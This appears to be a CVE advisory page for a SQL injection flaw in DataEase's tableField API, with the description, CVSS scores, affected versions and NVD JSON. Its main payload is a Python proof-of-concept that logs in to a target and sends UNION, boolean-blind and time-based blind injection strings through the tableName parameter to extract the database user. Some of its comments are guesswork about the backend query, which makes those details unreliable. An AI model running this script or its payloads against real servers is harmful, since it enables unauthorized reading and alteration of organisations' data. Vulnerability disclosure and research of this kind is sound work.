Security Vulnerability Report
中文
CVE-2025-62422 CVSS 8.8 HIGH

CVE-2025-62422

Published: 2025-10-17 18:15:38
Last Modified: 2025-10-24 13:14:30

Description

DataEase is an open source data visualization and analytics platform. In versions 2.10.13 and earlier, the /de2api/datasetData/tableField interface is vulnerable to SQL injection. An attacker can construct a malicious tableName parameter to execute arbitrary SQL commands. This issue is fixed in version 2.10.14. No known workarounds exist.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:* - VULNERABLE
DataEase < 2.10.14
DataEase <= 2.10.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62422 PoC - DataEase SQL Injection via tableField endpoint # Vulnerability: SQL Injection in /de2api/datasetData/tableField # Affected versions: DataEase <= 2.10.13 # Fixed in: DataEase 2.10.14 import requests # Target configuration TARGET_URL = "http://target-dataease-host:8081" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to obtain authentication token session = requests.Session() login_url = f"{TARGET_URL}/de2api/login" login_payload = { "username": USERNAME, "password": PASSWORD } login_response = session.post(login_url, json=login_payload) print(f"[*] Login response: {login_response.status_code}") # Extract authentication token from response # DataEase typically returns token in response headers or body token = login_response.headers.get("x-de-token") or login_response.json().get("data", {}).get("token") headers = {"x-de-token": token} if token else {} # Step 2: Exploit SQL Injection via tableField endpoint # The vulnerable endpoint: /de2api/datasetData/tableField # The tableName parameter is directly concatenated into SQL query vuln_url = f"{TARGET_URL}/de2api/datasetData/tableField" # Malicious tableName payload - time-based blind SQL injection # Original query likely: SHOW COLUMNS FROM {tableName} or similar # Payload: close the table name string and inject arbitrary SQL malicious_table_name = "test' UNION SELECT 1,user(),database(),4,5,6,7,8,9,10-- " params = { "tableName": malicious_table_name } print(f"[*] Sending SQL injection payload to {vuln_url}") response = session.get(vuln_url, params=params, headers=headers) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Alternative: Boolean-based blind SQL injection # Check if database version starts with specific character def check_injection(condition): payload = f"test' AND ({condition}) AND '1'='1" r = session.get(vuln_url, params={"tableName": payload}, headers=headers) return r.status_code == 200 and "error" not in r.text.lower() # Time-based blind SQL injection example def time_based_check(payload_condition): import time payload = f"test' AND IF({payload_condition}, SLEEP(3), 0)-- " start = time.time() r = session.get(vuln_url, params={"tableName": payload}, headers=headers) elapsed = time.time() - start return elapsed > 2.5 # If response delayed, condition is true # Extract database version if time_based_check("LENGTH(VERSION())>0"): print("[+] SQL Injection confirmed! Database is reachable.") # Example: Extract current database user if time_based_check("ASCII(SUBSTRING(USER(),1,1))=114"): # 'r' for root print("[+] Current user likely contains 'r' at position 1") print("[*] Exploitation complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62422", "sourceIdentifier": "[email protected]", "published": "2025-10-17T18:15:37.737", "lastModified": "2025-10-24T13:14:29.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DataEase is an open source data visualization and analytics platform. In versions 2.10.13 and earlier, the /de2api/datasetData/tableField interface is vulnerable to SQL injection. An attacker can construct a malicious tableName parameter to execute arbitrary SQL commands. This issue is fixed in version 2.10.14. No known workarounds exist."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.14", "matchCriteriaId": "A61426A2-1A80-4988-BB10-6ACCC38166C6"}]}]}], "references": [{"url": "https://github.com/dataease/dataease/commit/3c52cc26c4cca1000294346cf99a84b25d38bfb2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dataease/dataease/security/advisories/GHSA-54m5-xrw4-mv36", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}